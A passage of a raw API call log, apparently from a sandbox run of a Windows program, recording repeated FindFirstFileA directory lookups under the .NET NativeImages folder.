lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6de4d4f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1258db20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1258db20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.965] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio49d6fefe#\\45f13d7c3d9964da9b26d7e1876104a2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6de4d4f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1258db20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1258db20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.971] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio4b37ff64#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6df31d30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125b3c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125b3c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.976] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio4b37ff64#\\2e507971860fa327fc91f74aac396544\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6df31d30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125b3c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125b3c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.982] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio53a7a42c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e5e3b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125b3c80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125b3c80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.987] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio53a7a42c#\\f5ad4abc1924ed0134647d3c97e1de8b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e5e3b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125d9de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125d9de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0249.992] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio5ae0f00f#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d703190, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125d9de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125d9de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0249.997] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio5ae0f00f#\\987dc67a0a2eab5829ae6ea61e3ce29c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d703190, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125d9de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125d9de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.003] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a6349c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d93e630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125fff40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125fff40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.010] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a6349c#\\f1d5fd025baee3970ed1d112ed97510b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d93e630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125fff40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125fff40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.015] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a7b877#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6db53970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x125fff40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x125fff40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.023] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatio84a7b877#\\14782aed3540074aa3b69290c16da539\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6db53970, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126260a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126260a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.029] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiob3047ded#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f5f4f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126260a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126260a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.034] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiob3047ded#\\7f14faa1d4ae2be6159e47a673761e71\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f5f4f90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1264c200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1264c200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.040] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiod51afaa5#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e8b7530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1264c200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1264c200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.045] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Presentatiod51afaa5#\\4bef01fc33b02182e1b6478f49e864b9\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e8b7530, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1264c200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1264c200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.054] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationCore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659004f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12672360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12672360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationCore\\b64ab85841ec82df0ec4d6bf7bdb770d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659004f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12672360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12672360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.069] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationUI\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe49c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126984c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126984c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.076] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\PresentationUI\\9042d00708fcbda11c0d00463f473088\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fe49c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126984c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126984c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.083] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ReachFramework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e3bb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126be620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126be620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.090] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\ReachFramework\\217aa4f38f139b78fc89747f1a5b26f5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77e3bb10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126be620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126be620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.097] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMDiagnostics\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7da90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126e4780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126e4780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.104] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMDiagnostics\\781dd6049a9ffac1e6c29f61520010a8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78f7da90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126e4780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126e4780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.111] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMSvcHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58da0d50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x126e4780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x126e4780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.117] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\SMSvcHost\\bb73e15ff00f3c7246e3a560277d09b1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58dc6eb0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1270a8e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1270a8e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.128] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb7ed0c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x12730a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12730a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.135] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\76e0ae2162ace0d6430ce89ffdf32afa\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88be7bc0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x12730a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12730a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.146] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti2661942e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7be0e8f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12756ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12756ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.156] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti2661942e#\\45534c81c2f1f050d940b91783efbcd5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7be0e8f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12756ba0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12756ba0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.165] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti31fd6628#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b94bcf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1277cd00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1277cd00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.183] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Acti31fd6628#\\37827509df21e104989c10196e313d6e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b94bcf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1277cd00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1277cd00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.195] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Actif3565cbd#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcb4430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x127c8fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x127c8fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.201] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Actif3565cbd#\\60a06cbbba989906c65e70ee1e9aadc3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dcb4430, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x127c8fc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x127c8fc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.209] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Activities\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ad3ed90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x127ef120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x127ef120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.216] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Activities\\fca4e72ee00e6578d7e759a3cf530f81\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ad3ed90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x127ef120, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x127ef120, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.224] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddI3d71a354#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e38c370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12815280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12815280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.230] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddI3d71a354#\\110ea604ebed337108b44c1ed479efd8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e38c370, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12815280, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12815280, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.237] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddIn\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e1c32f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1283b3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1283b3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.244] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.AddIn\\9059078f3813da46fdf18d09e3608b9a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e1c32f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1283b3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1283b3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.251] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Comp46f2b404#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ac180f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1283b3e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1283b3e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.261] FindFirstFileA (in: 